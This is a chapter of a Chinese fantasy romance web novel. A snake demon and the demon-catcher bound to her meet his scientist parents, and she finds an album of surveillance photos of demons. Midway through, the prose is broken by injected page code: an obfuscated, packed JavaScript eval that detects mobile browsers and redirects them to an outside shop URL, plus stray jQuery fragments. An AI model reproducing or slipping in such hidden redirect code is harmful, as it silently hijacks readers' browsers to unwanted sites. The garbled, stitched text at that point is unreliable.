42. 相册

作品:《被抓妖师缠上了怎么办?

    头发被一丝不苟地梳在后面,戴着口罩的中年男人把手套取下转过身来看他们。


    “这是你爸爸?”


    江暄一只脚刚迈出去,胳膊在后面就被钳制住。


    禾越苦大仇深地看着她,满脸都疑问着一件事,那就是为什么要对这个男人这么亲切。


    “这个就是那条蛇妖,我还以为你找了那么久,抓到手的瞬间就会给她杀了。”


    禾父说话风轻云淡的,完全没看见后面江暄惨白的脸色。


    “你不要故意说这些话来吓她,你知道我为什么会来。”


    禾越想要一个江暄的安全证,证明她要是对人类不会有任何害处的。


    江暄不知道这父子俩打什么哑谜,在后面露出一个头尖观察着面前的中年男人。


    他也穿着同样的工装。唯一不同的是,他胸口处有着一个镌刻着黄色谷穗的徽章。


    上面刻着两个字,江暄只认识第一个是禾。


    “这个保护协议怎么不找你妈要。”


    又是互相踢皮球,禾越简直忍够了这些年的这样的推辞。


    对面似乎也觉得自己说话太过于无情,走到了一个桌子面前坐了下来,从抽屉里抽出了一份材料。


    紧接着笔下生风,很快就写满了一页纸。


    “你要知道,这都是特殊情况。”禾丰声音低沉,面上却毫无波澜地把手上的东西递给自己的儿子。


    退一万步来讲,如果禾越不是自己的儿子,他一定不会浪费这么长时间去听这种毫无意义的事情。


    “两个章都在你这里。”禾越也不是第一次办这个事情。


    自然知道什么样才算是合格。


    禾丰把手里的材料又放回了桌子上,他十指并拢非常认同这句话。


    “所以你也知道你的母亲不会同意这件事情。”


    让一条蛇去融入人类社会,任凭谁去做这个决定,恐怕都会投上否定的一票。


    “我可以用我自己做担保。”禾越从口袋里掏出了一系列需要的证明。


    包括他找人拟好的财产合同。


    这一切都会围绕着江暄展开,各种保障权益会追随且保护她的一生直至死亡。


    禾丰向后微微仰头,随手抽出一张露出了意味深长的表情。


    自己这个儿子真是犟脾气啊。


    他轻闭着眼,用食指揉了揉了一下自己的太阳穴缓解刚刚过度的眼涩。


    “那让她也抽一份血过来吧。”禾丰还是做出了让步。


    “不行。”


    禾丰:“……”


    带着点不可置信的轻笑,禾丰又再一次询问了自己儿子的回答。


    “那你的意思是,还要让我保证她在社会的自由吗?”


    她一个蛇妖,自己能勉为其难的接受她,已经做出了极大的让步。


    只是收集她的血液,确保她的档案资料在自己手里而已。


    “我之前在妖管所做过她的报告。”禾越当初动手的时候可谓叫一个心狠手辣。


    差不多把这一条蛇全身的血都抽没了。


    “那行,你把她的档案直接给我也行。”


    一份没有照片,没有具体的时间归档的文件放在了自己的桌子上。


    禾丰:“……”


    “你妈今天晚上要来,你最好能像对我一样对她。”


    禾越甚至都没有接后面这句话,带着迷迷糊糊的江暄就离开了这个狭小的空间。


    “我的档案就这么给他了。”江暄坐下来休息的时候还有点小担心,手指在指腹上画着圆圈。


    “那万一他对我有不好的行为该怎么办?”


    禾越看着面前焦急的小蛇,也不忍心告诉她,其实她的信息已经在他们那里全部透明化。


    他只能把视线移到一边垂眸,语气中尽量不带任何情绪陈述。


    “我向你保证,不会有任何问题。”


    江暄看出了他的欲言又止,把口袋里今天早上揣进来的小东西塞到他的手里。


    是一把大门钥匙。


    禾越勾起嘴角,这条蛇什么时候还学会找楼下的大爷配钥匙了。


    看起来在妖管所发的最后一笔工资还没有花完。


    “你要是感觉不舒服可以走的。”江暄小声地靠在他的耳边讲。


    轻盈的秀发绕在他的脸颊侧边,带起暖暖的茉莉香。


    禾越嗯了一声,把它攥在了手里。


    瓦蓝的天空和白色的平房相得益彰,而他现在感受到了阳光真切地照耀在自己的身上。


    江暄伸出手在他的眼前晃了晃,这人怎么不跟自己讲话了。


    还未等她收回,另一只手缠了上来。


    两只手在瓦蓝天空下交缠,紧握。


    “我不会走的,一会带你见见我的母亲。”


    禾越话音刚落,后面就传来稳健的脚步声。


    “她应该来了,但她并不喜欢浪费自己的时间,所以需要我们去见她。”


    人类父母的相处模式竟然是这样子的。


    江暄作为一条涉世未深的蛇,此刻也学着互相理解。


    毕竟物种不一样,大家生活在一起还是需要互相尊重的。


    “我的爸,你刚才对我说的话是什么?”禾越带着点嫌弃的味道,盯着在一边泡茶的老父亲。


    手里面攥着那么多权利,自己媳妇一来就又腾出来自己的位置。


    刚才自己签名的文件还摆好放整齐,让自己老婆更方便一一过目。


    “你就是江暄。”


    被点名的小蛇往前走了几步,还没有意识到接下来会发生什么。


    “你和禾越结了契约。”


    江暄点头。


    “这件事情是他告诉你的吗?”


    江暄头刚点下去,对面手上的文件已经飞出去了。


    重物拍打在禾越的脸上,让众人都有些猝不及防。


    看惯了大场面的江暄也不由得愣在了原地。


    完全没有当初一人单挑蛇王的勇气。


    “好你个禾越,你爸就是教你这些的。”


    禾母怎么会不知道契约对妖的重要性,他儿子居然为了抓妖直接骗了一个毫不知情的蛇。


    如果整个科研所都是这种毫无底线的研究员。


    那他们不如早点关门大吉。


    被揪着耳朵的禾越试图挽回一点自己的尊严,被一脚跺进了外面。


    门关上的疾风甚至席卷到了站在桌子边的禾父。


    江暄想要上去阻拦,被一直观望的禾父拦住,神情肃穆地对着她摇头。


    “孩子,先别去,这太危险了。”


    禾丰有一万种办法可以留住这条蛇,但目前来说,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289253|196123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只有好言相劝可以让他避免沦落到和他儿子一样的命运。


    “你不想知道为什么我一开始会对他那么讲话吗?”禾丰卖起来关子,也是神乎其神的。


    见对面小蛇上钩之后更是娓娓道来。


    他和妻子都是实验室狂魔,但唯一不同的是,她的妻子对孩子这件事情很在意。


    于是禾越,稻越两个人顺着妻子的愿望出生了。


    妻子按照实验室的公平分配原则,赋予了他们两个不同的姓氏。


    但妻子只能照顾他们到咿呀学语,实验室的工作不能让一个时刻需要照顾孩子的女人承担。


    于是,他们全部被送到了妖管所。


    这是目前来说最好的办法,不仅让他们受到上学的优待,还能培养与人交往的技能。


    虽然陪伴他们两个确实没有做到。


    但金钱,地位名声,他们会全部赠予自己的孩子。


    时钟整整绕过了半个圈,回忆结束。


    江暄从原地站起来。


    “叔叔,我听明白了。现在让我去找他吧。”


    “你没有听明白。”禾丰非常确定,很多事情都不是凭借天生的智力就可以理解的。


    正当他准备让江暄坐在那里,静静地等着自己妻子回来。


    一记黑拳就冲上了自己的脑门。


    漆黑的血红色涌上自己的眼眶,禾丰踉跄着倒了下去。


    “推卸责任的坏男人。”江暄一点也没有可怜他,直接迈步走了出去。


    房间里彻底安静后,躺在地上的禾丰坐了起来。


    从桌子上抽了一张纸嫌弃地按着自己的鼻腔。


    “手劲够大的。”


    这个实验室经过秘密改造,所有的房间都趋向一致,只有门牌代表着它们的不同。


    除此之外,每一道门上还都额外加了一道插销。


    “咔”,江暄直接用力气别开了门锁。


    整个门都因为用力过猛变得摇摇晃晃。


    自己只是想救人而已,江暄默默给自己的破坏行为找了个借口。


    这是个小房间,但布置的极其有序。靠墙摆着一排书架,角落里放在落了灰的小提琴。


    整个屋子没有人气,但是收拾的干干净净。


    江暄看见架子上一扇老式台灯,流苏垂下来像她之前见过的孔雀羽毛。


    触碰到流苏的瞬间,身边传来重物落地的声音。


    一本有着重量的册子。


    外表镂金的丝线摸上去的质感还很厚重,江暄没有想太多直接翻开了第一页。


    里面记录着各式各样动物的热闹状态,有着第一次陪自己演出的狼哥,还有打小被抓进去的虎妹。


    甚至还有这次引起动乱的猴子。


    江暄胳膊颤抖起来,身上的冷汗直出。这些照片并不是久远年头的样子,无一例外都是最新最近的状态。


    翻到册子最后一页的时候,抱着苹果啃食上自己盯着镜头的方向。


    时间显示在昨天。


    自己的一举一动,不,是他们所有妖兽的一举一动都在这个实验室的监控之下。


    那禾越呢?他是参与者还是旁观者。


    “你怎么在这?不是跟你说不要乱走吗?”


    江暄手指慌乱的扣上相册的边缘,脊背僵直,连抬头的勇气都不复存在。